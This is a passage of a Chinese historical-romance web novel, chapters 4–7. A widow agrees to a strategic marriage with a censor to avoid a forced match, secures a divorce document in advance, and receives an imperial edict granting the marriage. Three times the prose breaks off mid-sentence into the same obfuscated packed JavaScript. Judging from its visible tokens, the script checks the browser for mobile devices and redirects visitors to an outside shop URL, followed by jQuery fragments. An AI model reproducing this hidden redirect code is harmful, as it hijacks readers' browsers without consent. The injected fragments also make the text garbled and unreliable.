那也是日后的事了,梁钺在时常说,“他日之事何必今日烦忧。” 船到桥头自然直,日后的风雨,暂且搁置不提也罢。眼下最要紧的,是先解了这燃眉之急。 思绪百转千回,她心中最后一丝犹豫终是散去。沈婉仪抬眸望向身侧的母亲,终于做出决定,“娘,我嫁。” 4. 第 4 章 听到女儿这个决定,沈母脸上的阴霾都驱散了一部分,不过她想到了什么,面色又逐渐凝重起来。 “你爹在信里说,三日后他打算赶在永安王之前替你们请旨。可是那永安王是圣上的亲弟弟,若是他派人向陛下通传有要事告知,那陛下势必会先传他问话,到时又该如何是好?” 沈婉仪从做下决定开始便在思考这个问题,她之前一直想着守寡终身,于是便拖着没有去请旨。 她当时想的是需得等这个“危急存亡”时刻到来之时再亮出自己的底牌。 可现在她既然决定要嫁,那么她便不能坐以待毙。 母亲的话确实很有道理,若是到时陛下已经答应了给她和永安王世子赐婚,那么父亲再去请旨,恐怕这赐婚圣旨便请不下来了。 想到此,沈婉仪抬头看向沈母身旁的余妈妈,“余妈妈,劳烦您将纸和笔拿过来。” 东西拿来,沈婉仪在沈母身旁坐下便开始动笔。 沈母见她写得专注,心里晓得她想必是有了应对的法子,于是便不再开口打搅。待她写完两份信,分别叫福安送出去后才开口询问,“婉婉,你在信中写的是何对策?” “对策倒是谈不上。那两封信,一封是给父亲的,一封是给那柳青砚柳大人的。” “给父亲的这封,一是告知女儿我答应了那柳青砚的求亲,二是提醒父亲必要时也可提及我乃梁钺遗孀的身份,三是拜托父亲若是陛下答应了真答应了那永安王,一定要在那圣旨昭告之前,告知陛下我与柳大人早已私定终身。” 沈母并没有因为听到这话而感到轻松,反而是惊讶之色过多,她听到最后更是瞪大了双眼看着自己的女儿,“婉婉,你......” 沈婉仪朝母亲点了点头,示意母亲听她继续说下去。 “给柳大人的这封,告知了他我的选择,和我的一个条件。这信里顺带还提及了永安王欲请旨之事和我的应对之法。”这样到时真走到那步,圣上问起来两个人说的话也对得上。 不过沈婉仪在信里特意提及永安王请旨一事还有自己的考量。 不管柳青砚求娶她打的是什么主意,她猜他也绝对还有底牌还没亮出来。她想,他肯定有什么是可以让他在这桩婚事中与那萧世子抗衡的,不然他为何敢迎难而上? 沈母听女儿说完,心脏便开始不受控制地抽疼起来,倘若真的如女儿所说,在圣上面前告知私定终身一事,她女儿这辈子的名声可就毁了! 此举虽然能如沈家所愿,让婉仪嫁给那柳青砚,可是倘若在守寡期间与另一男人“私相授受”,这话要是传出去,外面的人还不知怎么编排她女儿! 想到女儿为了这桩婚事居然能做到这种地步,沈母便觉得胸口处的苦闷难以言说。 沈婉仪见母亲眼里的闪烁的泪光,不由出言宽慰,“娘,我没事的。您这样想,不管那些人怎么说,我嫁给那柳青砚也总比嫁给那萧世子好啊。” 沈婉仪知道她娘在难受什么,也知道怎么说才能让她不那么难受。 在沈父沈母眼里,只要她嫁给了一个值得托付终身的人,那他们的心至少一半,不对,至少大半都可以放回肚子里了。 果然,在她说完这话后不久,沈母便叹气附和道,“说的也是,这也是被逼到最后的无奈之举。希望你爹足够幸运,不要走到这最后一步。” 她说完松开抵在胸口握成拳头的手,握住女儿,另一只手在女儿脸上心疼的摩挲,“婉仪,我有时会觉得这老天爷实在是太不公平了。” “它凭什么这样对我的女儿!”沈母声音凄切,语气怨愤。 “我们家婉仪这么体贴懂事的女儿,先是让她年纪轻轻就守了寡,还带着那么小的一个女儿,现在又让这样的恶霸给看上,被逼婚。现在更是要......”说到最后,沈母眼眶中的眼泪终是忍不住掉了下来。 沈婉仪刚想出言安慰母亲自己没事,就听到一声稚嫩的童声便随着叮叮当当的铃铛声闯进来,“娘,外祖母,你们在说什么?” 听到这声音的瞬间,沈母顿时伸手将脸上的眼泪给揩去,脸上的神情也霎时转换成喜笑颜开。 循声望去,只见一个奶黄色的小团子手里拿着一个鸡蛋大的铃铛跑了进来,那叮叮当当的声音便是那铃铛发出的声响。 来人便是沈婉仪和梁钺的女儿,梁盈。她进来后不久,芸香和兰黛也气喘吁吁地跑了进来。 “咦?外祖母,你怎么哭鼻子啦?谁欺负你?!我帮你欺负回去!”纵使沈母的动作再快,可眼角的泪痕以及略带红肿的双眼还是被善于观察的梁盈给发现了。 “夫人,姑娘。小姐非要过来拿她新得的铃铛给主子们看,拦也拦不住。”兰黛刚把气息喘匀,便立即解释道。 沈婉仪抬眼看去,发现兰黛和芸香都一脸疲惫的模样。她知道今日梁盈必是又让她们操心了。 她挥了挥手,让兰黛和芸香先下去。 待二人走后,她终是忍不住轻斥道,“梁盈,交给你的规矩都忘了?” 沈婉仪严肃起来时,脸上没有一丝表情,让人不自觉感到害怕,梁盈最怕的便是她娘的这副模样。 自知理亏的梁盈立刻聪明地跑去林氏身旁躲着,动作十分熟练。 沈婉仪看着梁盈跑得飞快的样子,默默叹息了一口气,梁盈这调皮的模样倒是和她爹小时候差不多。 梁盈自生下来便没有几天安生的,便是在沈婉仪肚子里的时候,沈婉仪也被她折腾的没睡过几日好觉。等她生下来之后,更是稍有不如意的便是一个“哭”字,她和梁钺连着请的好几个乳妈都说这孩子是她们见过最难带的,每次待不了多久,便纷纷请辞了。 刚生下她的那一年,梁钺出去的时间还没有那么多,沈婉仪每次在家里一听到哭声便叫他,“梁钺,你宝贝女儿又要找你了。”也不知道是梁钺有办法,还是说梁盈怕他爹爹,每次只要他过去后不久,梁盈的哭声就渐渐没了。 有一次她无意间提了一嘴,梁钺知道后便立即反驳,“阿盈怎么会怕她爹爹呢?自然是因为喜欢爹爹才每次都笑着和爹爹说话啊!” 沈婉仪自然不信,她女儿也喜欢她,那她为什么看见她也老是哭?“你就说你怎么哄的她吧。” “还是夫人聪明,其实是因为这个。”梁钺说着,笑嘻嘻地拿出一个铃铛。 “我无意中发现阿盈很喜欢叮铃叮铃的声音,还得是那种间隔长的,不刺耳的才行,太吵的就不行了。” 后来梁钺走后,梁盈再哭,沈婉仪按照他说的这个办法去逗孩子,孩子果真就不哭了。 思绪回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922773|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拢,沈婉仪看见沈母身后悄悄瞟她脸色的梁盈便想将她叫出来,让她承认错误。 还未开口,沈母那边已然给了她一个到此为止的手势,沈婉仪见状只好无奈闭嘴,这几年她娘和她爹真是把梁盈宠得越加没有规矩了。 沈婉仪自认从出生到现在,除了目前这桩婚事让沈父沈母操心了许多外,其他几乎都很少让他们担忧。 沈婉仪是沈父沈母的第一个孩子,可以说从出生开始便是父母的掌上明珠,哪怕是后面沈夫人又给她生了个弟弟,沈氏夫妇对她的疼爱也没减少半分。 梁钺的父母去世得早,沈婉仪怀孕后沈夫人和怕梁府的下人照顾不周,和沈父商量后便让她和女婿打了个招呼,自己带着贴身侍女和好几个有经验的产婆搬进了梁府。 梁钺对于岳母这番爱女行径自是欣然同意,于是沈夫人便断断续续在梁府住了大半年,直到沈婉仪生产百日后才搬回沈府。 爱屋及乌,梁盈出生后沈氏夫妇对这个外孙女也是万般宠溺。那时梁盈还小,不方便四处走动,沈母就和沈父时不时地前来看望沈婉仪和梁盈。 嫁鸡随鸡嫁狗随狗,梁钺走后,按道理来讲沈婉仪也是该一直待在梁府的。当时梁钺也显然想到了这点,于是他在遗言里特意提到,梁府算是他留给她和阿盈的财产,让她不必把此处当成桎梏,去留都由她。 其他人就算再想说些什么,但碍于梁钺的遗言也不好再指摘了。 于是沈婉仪在他丧事百日后便搬回了沈府,梁盈也跟着她回了家。沈父沈母对梁盈的宠溺也是从那日开始的。 沈婉仪要替梁钺守寡,梁盈自然也要为她父亲守孝。 梁盈在沈府差不多的三年时间里,虽是一天天长大,却是因为守孝并不能四处游玩或参加宴请。 沈婉仪也知道小孩子天性爱玩,于是便时不时给她找些精巧的物件供她玩耍,光是不同种类的铃铛都给她找了好几十个。 但总归沈府还是束缚着她,梁盈同龄的玩伴更是少之又少,梁盈于是开始整天琢磨着每天玩些什么。 不是要爬到树上去看小鸟,就是要到潭里去网小鱼,整个沈府几乎每日都听得到下人四处找她的声音。 沈府的收藏的花瓶被她砸碎了好几个,挂在墙上的字画也是涂坏了好几幅,就连沈母的珠钗都摔碎了好几支。 每次她闯了祸,沈婉仪刚想训斥她,沈母便先跳出来训起了沈婉仪。 “阿盈才多大呀?这才多大的事你至于吗?她又找不到其他孩子陪她玩,不就只能玩这些了吗?” 来来回回就那几句话,但因为沈婉仪内心有愧,每次都将她给堵的死死的。 后来沈婉仪便学乖了,再也不在沈父沈母面前训她,往往只在她们两人独处的时候,才教训她。 但说起教训,沈婉仪也不是那种会动手的人,每次也都是言语批评。但她冷着脸训人的时候,和平日温柔娴静的模样一点也不沾边,梁盈于是便乖乖的认错道歉。 但梁盈是属于没心没肺的人,你上一秒才训了她,她下一秒就能把脸贴上来挨着,于是沈婉仪每次的训斥,她几乎都没往心里去过。 而且日复一日,她也发现了她娘从不在外祖父、外祖母面前训她的规律,于是他们在场的情况下,她便没有那么怕沈婉仪了。 5. 第 5 章 今日也是如此。 梁盈一下就从母亲的话里听出了大事不妙的意味,于是果断地选择躲到了林氏身后。 看到外祖母制止母亲后,她心里知晓母亲不会在此处教训她了,但是因为心虚,还是在不断偷偷看沈婉仪的脸色。 林氏将她拉到身前温柔询问,“阿盈玩了这么久,饿没饿呀?” 梁盈摇了摇头,随即想到了什么,眼睛亮了起来,“外祖母,刚刚芸香姐姐拿给我的樱桃酥可好吃了,是余妈妈亲手做的吗?” 梁盈之所以这么问,是因为她之前在外祖母这兰亭苑玩耍的时候,便最爱吃余妈妈做的糕点。所以刚刚一吃到这樱桃酥,她便立即觉得肯定是余妈妈做的。 林氏听到这话,抬头与沈婉仪对视了一眼,随后轻声回答,“不是余妈妈做的,是一个客人送的。” “噢,是这样啊。那下次这个客人来,可不可以让她教教余妈妈?这样余妈妈就可以每日给我做樱桃酥了。”梁盈的声音说这话时大眼睛扑闪扑闪的,写满了期盼。 “不用了。这个客人已经告诉了娘是在哪里买的,你爱吃,娘叫人去给你买就是。” 听到日后可以经常吃这樱桃酥,梁盈立马笑盈盈地冲着沈婉仪狠狠点了点头,“嗯嗯,娘,你真好。”完全忘记了她刚刚还藏在外祖母身后躲着她娘。 沈婉仪早已习惯女儿的晴雨转变,她抬头看了看窗外的天色,折腾了许久,天色将暗,雨也已经停了。 那边梁盈已将刚刚发生的小插曲抛在脑后,想起了她跑过来的最初目的,于是拿着手里的铃铛左晃又晃的展示给林氏看,其间还喋喋不休地和林氏说着话,“外祖母”,“外祖母”的喊着。 林氏也不觉烦扰,还时不时地与她附和着,眼里全是温柔慈祥的笑意。 沈婉仪见母亲高兴了许多,也再不提刚刚发生的事,融入这温馨的日常。 吃过晚膳,沈婉仪带梁盈一起给沈母请了安之后便准备离开兰亭苑往回走。 离去时沈母拉着她悄悄耳语道,“婉婉,我听你说,你还和那柳大人提了一个条件,眼下这种情况,他若是不答应怎么办?” 沈母虽不知女儿提的什么条件,但她肯定是无条件站在女儿这边的,只是怕那柳青砚若是不答应,那沈府便会很被动了。 毕竟那柳青砚也时常在圣上眼皮子底下晃悠,若到时圣上传唤他问起二人的情况,他若表示没有这回事,那岂不是显得沈府有些可笑? “娘,你不必担心,他会答应的。”沈婉仪拍拍她娘的手,很是笃定地说。 那柳青砚既是自称为报恩而来,连有性命之忧的求亲都不在话下,想必这小小的条件他不会不应。 沈婉仪提的条件很是简单,那就是要她答应求亲可以,但是这柳青砚得先把这签了字,画了押的和离书送过来。 今日他在万鹤楼时也说了,这婚事不过是权宜之计,要是之后那萧世子没有再打沈婉仪的主意,那他们是随时可以和离的。 那他都既然这样说了,沈婉仪此举不过是替她将来的自由上一个保障罢了。 芸香在前面提着灯笼,沈婉仪牵着梁盈的手在花影绰绰的回廊间走着。 梁盈一边走着,一边望着廊上昏黄的灯光在沈婉仪脸上明明暗暗地掠过。她看着那朦胧光影中恍若如画的人,忍不住想她娘要是永远不发火就好了。 娘亲不发火和发火时就像两个人,一个似仙女,另一个却像是......却像是...... 她想了半天也说不出来,她小小的脑袋还想不出仙女的反义词是什么。 “阿盈?阿盈?” 梁盈听见声音,猛地回过神来,“娘亲,怎么了?” “娘刚刚听你说那樱桃酥很好吃?” “对呀,我还留了好几块想说给外祖母和娘亲尝尝呢,可是刚刚过来的时候太着急,就给忘了。”提起这个,梁盈的脸上闪过一丝懊恼。 “谢谢阿盈,没事的。娘是想问你,你觉得那樱桃酥和你江姨做的樱桃麻薯哪个更好吃?” 沈婉仪说的江姨是她的手帕交,太常寺主主簿江修远的三姑娘,江霁月。 从认识江霁月起,沈婉仪就知道她是个很擅长做各种美食的人。沈婉仪守寡后,她也时不时带着她做的各种美食从江府溜出来看她。 前不久,她来的时候,恰巧带的也是樱桃做的东西,沈婉仪看到成品的时候,不知道怎么形容,非要用她的话讲就是糯米樱桃团子,但江霁月却说这是樱桃麻薯。 沈婉仪虽不知道麻薯为何物,但她尝了之后觉得,这糕点无论叫什么名字都不重要。 因为它的味道实在深得人心。 本就白糯糯的外皮上还裹着炒熟的糯米粉,轻轻一咬就露出里面深红的樱桃果酱。外皮柔韧却不粘牙,果酱酸甜适中,米香混着果香,甜而不腻。 梁盈当天便吃了一大半,连晚膳也没有吃。 “那还是江姨的樱桃麻薯更好吃!娘亲,江姨下次什么时候过来看我呀?我想她了。” 梁盈的世界很简单,谁给她好吃的,谁就对她好,谁对她好,她就喜欢谁。所以除了娘亲,外祖母、外祖父外,她最喜欢的就是江霁月了。 沈婉仪宠溺地刮了刮女儿的鼻头,“我看你是想念你江姨做的美食了。” 梁盈调皮地吐了吐舌头,娘亲怎么什么都知道。 听完女儿的话,沈婉仪更加认为自己那天鼓励江霁月开个酒楼的做法更加正确。 和江霁月认识的这几年,她每次一做了什么新奇的美食都会第一时间与她分享,可惜江霁月的爹官位并不高,江府很少举办宴会,连给她大展身手的机会都没有。 江霁月的爹江修远,能力一般,却是个窝里横的主,在外唯唯诺诺,在屋里却时常打骂妻女。 他的正妻是宰相夫人的远房亲戚,于是他不敢轻易动手,可怜江霁月的姨娘是个没有什么家族傍身的平头百姓,于是便连带着江霁月一起遭了殃。 沈婉仪第一次遇见江霁月时,便瞥见了她衣衫下手臂的青紫。她后来与江霁月交好后,就托沈父提携了那江修远,江修远也是因为此才成的太常寺主簿。 虽是个名不见经传的官,但好歹还是算升官了,从那时起,江修远便不再打骂江霁月和她姨娘了。 他还和江霁月说,“你没事就和那沈府的沈姑娘多走动走动,她不方便到咱家来,你就到沈府去,去时多带些东西,就说是我的一点心意。你没有银子,就去账房上支,就说是我的意思。” 江霁月把这事讲给她听时,脸上露出鄙夷的色彩,“我这便宜爹是想让我巴结你呢,这样你高兴了,沈老爷也高兴了,他说不定就又升官了。” 沈婉仪笑了笑,并不搭话。 江霁月见此还以为她真的又有什么给她爹升官的打算,忙提醒她,“你可别再让你爹帮忙了,虽然我和姨娘的日子是好过了点吧,但这也足够了。你不知道我那个爹,他是贪得无厌的。” 沈婉仪见她一本正经地骂起自己的爹来,眼中笑容更甚,“我知道,你看你这下出门无人拦着了吧。” “别说没人说话拦着了,现在我爹他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922774|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴不得每日都看着我出来找你呢。”江霁月之前不但在江府中被动辄打骂,甚至连出门都不得自由,而现在却今时不同往日。 “谢谢你啊。” “你我之间,何必言谢。” 江霁月出门不受拘束后,便开始整日研究各种各样的美食,每次她做成功之后,第一个分享的便是自己的姨娘,再然后,便是沈婉仪了。 沈婉仪这几年也因为她而尝过了各种闻所未闻,见所未见的美食,直至那日她在吃完这樱桃麻薯后忍不住说了一句,“你这手艺去开个酒楼,必会赚的盆满钵满。” 江霁月当时听到她这句话,马上就眼睛一亮,“果然是英雌所见略同啊!我最近就有这样的打算,不过酒楼的成本价钱太高,我打算先支个摊子。” 江霁月当时便把她的想法一五一十地告诉了沈婉仪。 她虽然说是最近才有的打算,但沈婉仪从她认真严肃的表情中看出了她显然计划了许久。 “......到时候若这摊子的生意确实很火爆,我再去考虑开酒楼也不迟。” “阿月,你的想法我认为很靠谱,我很支持你,你若遇到什么困难,记得和我说一声。” 江霁月听到这话眼眶倏地就红了,猛地抱住了她,她来这异世这么久,除了姨娘,沈婉仪是对她最好的人。 “婉仪,谢谢你!到时候你来入股,将来我赚了钱,咱俩一起当富婆!” 脑海中闪过那日的画面,沈婉仪想起自己的好友,不由露出了笑意。 终于带着梁盈回了房,沈婉仪屏退下人,说起刚才的事。 “你不用觉得害怕,娘亲并不是要惩罚你。” “娘亲想告诉你的是,如今你孝期将满,日后便可以被娘亲或外祖母带着参加各种宴会,也可以四处玩乐。” “但是你要记住,无论你在府中如何不知规矩,娘亲与外祖母她们也不会狠狠惩罚你。但是你如果在外面还如同往常一样惹是生非,到时候不仅你要受惩罚,连娘亲、外祖母、外祖父都会受惩罚。” 梁盈看着母亲严肃的神情,不解的问,“连舅舅也会受惩罚吗?” 沈婉仪点了点头。 “余妈妈,芸香姐姐,兰黛姐姐也要一起受惩罚吗?” 沈婉仪再次点了点头。 “不公平!为什么我做的事却要大家一起受惩罚?!”梁盈的声音满是不满。 “因为律法便是这样的,你若是不想出现这种情况,以后在外人面前便不可这般无礼了。”沈婉仪知道自己的话或许煞有介事,可她想让梁盈明白,在外面和在自己家里那是完全不同的地方。 “好吧,娘亲,以后我出去保证乖乖的,不主动惹事。” “阿盈最乖了,快让兰黛姐姐带你去洗漱就寝吧。”沈婉仪隔着窗户看见芸香拿着信正匆匆往里走,给了女儿一个吻,让兰黛带着她先下去了。 “小姐,那柳大人的回信。” 沈婉仪挑了挑眉,似有讶异之色,她刚刚让福安送信出去时天色已晚,本以为这回信明日才会收到,却没想到现在已经拿在手上了。 第一张信纸上仅有寥寥几笔,字迹倒是铁画银钩,遒劲有力,很是符合他御史中丞的身份。 “沈姑娘能选择柳某,柳某十分感激。沈姑娘所说永安王请旨一事,柳某已知晓,还望三日后静候佳音。和离书已附在此信之后。” 言简意赅。 沈婉仪拿出第二张信纸一看,俨然就是她要的和离书。 她想这还未成婚就先拿到和离书的,她怕是第一人了。 6. 第 6 章 三日后果真等到了佳音。 这日一早,沈婉仪便早早起来候着,她想父亲那边要是有什么突发状况,她也好随时准备应对。 一直等到中午,也没有等到父亲那边传回来的消息,等沈婉仪刚想传午膳时,圣旨却到了。 沈府一大家子人齐刷刷地跪下,沈母和沈婉仪都并不知道圣旨的内容,惴惴不安地猜测着会不会是沈婉仪和萧延的赐婚圣旨。 “奉天承运皇帝,诏曰——” “沈国公府嫡女沈婉仪,温婉贤淑,端庄秀丽;都察院御史中丞柳青砚,清正端方,德才兼备。二人良缘天作,今下旨赐婚,待沈氏丧期满后择日成婚。望二人婚后敬慎持躬,互敬互勉,不负朕望。” “钦此——” “沈姑娘,接旨吧。” 沈婉仪经内侍提醒才从怔然中猛地回过神来。她上前接下圣旨,随即便从袖口中取出一早就备下的鼓鼓囊囊的锦囊,塞到内侍曹公公的手上。 曹公公假装推拒了一番后,笑意盈盈地收下了。或许是沈婉仪准备的锦囊实在沉甸,他走时还特意嘱咐她,“沈姑娘,你别看那柳大人如今地位不显,待到来日......呵,沈姑娘,你的好日子还在后头。” 沈婉仪当年与梁钺是两家父母一起定的亲,并没有经过赐婚,所以并不明白赐婚的流程是什么。 所以她听到曹公公这番话时,还以为他这是惯例的祝福话术,并没有放在心上。 三年后的她回想起今日之时,才猛觉柳青砚的仕途之路早有显现,可惜她没有早些发现。 不过那也是后来的事了。 沈婉仪送走了曹公公后都还有些不敢置信。虽然她猜到那柳青砚显然是有后手,但也没想到他竟真的这么顺利便请到了赐婚圣旨。 沈母经余妈妈扶起后便站在一旁笑得合不拢嘴,嘴里直念叨,“老天爷,你总算帮着我家婉仪一回了!”显然觉得这赐婚圣旨还有一份老天爷的功劳。 梁盈看着高兴地不能自已的沈母,抬起脑袋不解地问,“外婆,你怎么这么高兴呀?” 沈母摸了摸梁盈的小脑袋,“阿盈,以后就有新爹爹啦,又多了一个人照顾我们阿盈,所以外婆高兴。” “新爹爹?什么新爹爹?” 梁钺去世时,梁盈才刚过一岁生日不久,虽然如今距离梁钺去世已快三年,但沈婉仪时不时地便带着她看梁钺的画像,所以梁盈对自己的爹爹是谁还是清楚的。 “我的爹爹不是画里面的那个人吗?”梁盈显然搞不懂为什么已经有了一个爹爹,还要再来一个爹爹。 之前一直不知这桩婚事会怎么收场,沈婉仪也就没有和梁盈提过这件事,现在既然圣旨已下,那她也没有隐瞒的必要。 沈婉仪耐心同她解释,“画像上的人是阿盈的亲爹爹,但是他已经去了别的地方,所以就不能陪着阿盈和娘亲了。几个月之后,娘亲与新爹爹成亲,他便会替爹爹陪着我们了。” 虽然沈婉仪同柳青砚的这桩婚事于他们二人来言算不得真,但是在其他人眼里却是实打实的亲事,沈婉仪便略去了那些弯弯绕绕,和梁盈提了这婚事的由来。 “新爹爹会让娘亲流眼泪吗?如果他也让娘亲流眼泪的话,那阿盈不要这个新爹爹。” 沈婉仪听到这话愣了愣,鼻子却控制不住一酸,她努力控制住自己神情,蹲下身来亲了亲女儿的小脸,“他不会。” 更准确的说,是沈婉仪不会让他有这个机会。不过是权宜之计才促成的婚事,难道还真让她与那人白头到老不成,到时候等那萧世子不再打她的主意,她便拿出那和离书与柳青砚和离,他怎么会让她流泪。 还没同女儿接着说几句话,福安也终于满头大汗地回来了。 沈母见他才来,不由埋怨道,“你再快些,恐怕曹公公都已经回禀圣上了。”显然是嫌弃他动作太慢,害得她们担惊受怕。 “夫人恕罪,我本是在前头的,可是在城门口那些守城的官兵见着了奉着圣旨的曹公公,便将我们这些人先拦下了,待他们一行人都过去后才慢慢放的行。” “罢了,既报的喜事,也就不为难你了。今日圣上听完讲经,可是先传的老爷去觐见?” “回禀夫人,圣上今日是先通传的柳大人去觐见。” 此言一出,沈婉仪和母亲对视一眼,二人眼中皆是讶异。 沈婉仪道,“柳大人不是在城内吗?” 福安挠了挠脑袋回答道,“具体情况小人也不是很清楚,但是昨日柳大人就已经到了永兴寺了。” 沈婉仪听完这话更是讶异,柳青砚此举可是冒着抗旨的风险啊。 原因无他。 只是这圣上往日也是去过永兴寺听经的,按照往日的习惯,圣上往往只会带着其点名陪同的王爷,皇子和大臣一同去,其余未被点名的,须得老老实实待在家里。 沈婉仪也是在得知柳青砚未被点名陪同一起去永兴寺后才约他出来见的面。 这未被点名陪同的人擅自前往永兴寺,说好听点,是违令离位,说难听点,就是抗旨,这柳青砚未必也胆大了。 “圣上没有发火吗?” “没有,柳大人到永安寺之后,曹公公第一时间收到消息就出来见了柳大人,也不知那柳大人同那曹公公说了什么,反正今日慧真大师讲经完毕后,圣上第一个召见的便是柳大人。” 曹公公是圣上的左膀右臂,可以说曹公公知道的事便是圣上知道的事,曹公公出来见柳青砚想必也是圣上的授意。 “父亲一同被叫进去了吗?” 福安摇摇头,又点点头,“老爷是之后进去的,待再开门时,便是曹公公带着圣旨出来了。” “曹公公出来后不久,老爷也出来了,他让我回来报喜,说小姐和柳大人的婚事成了。” 看来具体的情况还是得等父亲回来后才能知晓,沈婉仪挺好奇柳青砚是怎么顶着抗旨罪名的情况下还能说服圣上的。 * 赐婚圣旨已下,连日来操心的事终于有了着落,沈母今夜特意安排了一桌好酒好菜,准备待沈父回来,一家人一同庆祝。 暮春时节的夜色来得并不算迟,酉时刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922775|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过不久,沈父的马车便在门外停下。 沈正年的脚刚跨过门槛,就听到了细碎的脚步声自廊下靠近,还未抬眼,便听到了他女儿的一声轻喝,“梁盈。”那脚步声瞬间便慢了下来。 知道来人是谁,他一早便弯下了腰做好了准备,待到脚步声的主人出现,他张开怀抱,那人立刻冲到他的怀里,被他一把揽起,抱在手上,熟练地仿佛训练了上千次。 “外公!” “哎,阿盈又来等外公啦?” 梁盈被抱在怀中,狠狠点了点头,双髻上的流苏伴随着她的动作晃了又晃,“外公,你怎么才回来啊?外婆和娘亲等了好久呢。” “外公跟在圣上的仪仗后回来的,所以便迟了些。”虽然梁盈才四岁左右,但沈父也并不介意与她说起这些。 沈父话音刚落,沈婉仪的身影也终于从回廊中出现。见到父亲,她低身行了一个礼,请了安,“爹。” 沈正年一手抱着外孙女,一手去扶沈婉仪,“快起来,进去说话。”说完,便抱着梁盈往里走,沈婉仪紧跟其后。 作为父亲,自是知道女儿的心思,回屋的路上,沈父踏着廊下光影,沉声说起这两日发生的事,“昨夜那柳青砚到永兴寺后,不到一刻钟,我与众同僚便都已得知。所有人虽面上不显,但我相信他们都和为父一样,内心震撼不已。” “虽然他在前一日夜里早和为父通过信,让我不要担心,他会有办法解决,可为父也没想到他是用这样的办法。” “这在以前可是从没有过的事。于是当夜所有人包括为父在内都在暗自猜想,陛下会如何处置这柳青砚。” “可等来等去等到第二日,等到了陛下召见柳青砚的消息,为父当时便松了一口气,可想到他昨夜的举动,又开始提心吊胆起来。”沈父边说边走着,不一会便穿过了回廊来到了饭厅。 进了饭厅,他便将梁盈放下,梁盈脚落地之后,又飞回了沈婉仪身边,牵着她的手准备入座。沈母见到他们回来,起身相迎,随后吩咐下人开始上菜。 候菜时,沈母便问起刚刚他们在说些什么,“方才说什么这般投入,讲来我也听听。” “说我们这个未来女婿呢。今日圣上召他进去后,我这心里便七上八下的,饶是我在官场上待了这么久,也不敢去挑战帝心,他倒是敢干。”说到此,沈父的额角跳了又跳,仿佛还未从那紧绷的状态中缓过来。 “福安回来不是说,老爷你没过多久也进去了吗?圣上传你进去后说的什么?”沈母想起中午福安的话,问道。 “也没说什么,想来我进去时,圣上与他已谈妥。因为我进去后,圣上只问了我一个问题,问我愿不愿意将女儿嫁给柳大人。我应了愿意,他即刻便让人拟旨去了。”想到女儿的婚事已然有了着落,沈父的语气也不再那么沉重。 “圣上竟未降罪柳大人?”沈母眼里露出诧异。 “罚倒是罚了,不过也只是罚了他半年的俸禄,没有其他过重的处置。” 沈婉仪听到这儿终是忍不住询问,“爹,圣上平时很信任这柳青砚吗?” 7. 第 7 章 不然圣上为何对他如此宽容? 沈父沉吟了片刻道,“这话倒是无从谈起。他是去年才调任回来的,虽说刚回来圣上就给了他御史中丞的位置,但他在邺州待了五年,政绩有目共睹。何况,他还是建宁十三年的探花郎。” “能力和资历二者兼具,这次回来给个五品的官位算不得什么稀奇。” “得圣心倒是谈不上,何况当年他就是因为触怒了圣上,才被派去的邺州。不然以他当年刚出来就是翰林编修的份量,现在恐怕官位与为父不相上下啊。” “且前些日子他以德行有亏为由当朝弹劾了萧延,圣上当时便脸色不虞,最后他的弹劾自然也不了了之了。” 谈到此,沈父皱起了眉头,“看此子的文章倒是颇有见解,可惜这人情世故上他却还是差一遭。” 就算沈府再不待见那永安王和那萧世子,沈正年在上下朝时也得喜笑颜开地与对方打招呼。 毕竟婚事虽不是沈府所愿,但双方毕竟都还尚未撕破脸面。 柳青砚为御史中丞,乃是正五品,萧延既是永安王世子,也是领军卫中郎将,乃是正四品,虽说御史可以越级弹劾,但越级弹劾的毕竟是少数,更何况弹劾的对象还是圣眷正浓的萧世子。所以沈父才觉柳青砚此举实在莽撞。 沈婉仪没有接话,因为她大概猜到她父亲接下来要说些什么。 果然,下一秒,沈父立即接着前头的话说道,“不过倒也不碍事,等他日后成了咱们女婿,我再慢慢教他也不迟。” 沈婉仪礼貌地笑了笑,“菜齐了,父亲累了一天了,快动筷吧。” “好,来,大家都动筷吧。” 沈婉仪边吃饭边想着,虽然她和柳青砚已经说好这桩婚事不过是名义上的,但她的家人,不对,应该是除了她们二人之外的所有人都会把这桩婚事当成是真的。 这就会导致她的家人会真的把柳青砚当做是她的未来夫君去对待,去扶持。 沈婉仪是知晓她父母的,但凡和她来往频繁一些的朋友若是遇上什么需要帮忙的地方,只要她开口,她父母都会倾尽全力地去帮忙。 也是因为此,江霁月的父亲才升的官。不过当时那批太常寺主簿的备选名单上,本就有江修远的名字,她父亲帮的这个忙不过是举手之劳。 但若是柳青砚真成了她的夫君,沈父必然会倾尽全力栽培,这可不是沈婉仪愿意看到的事。 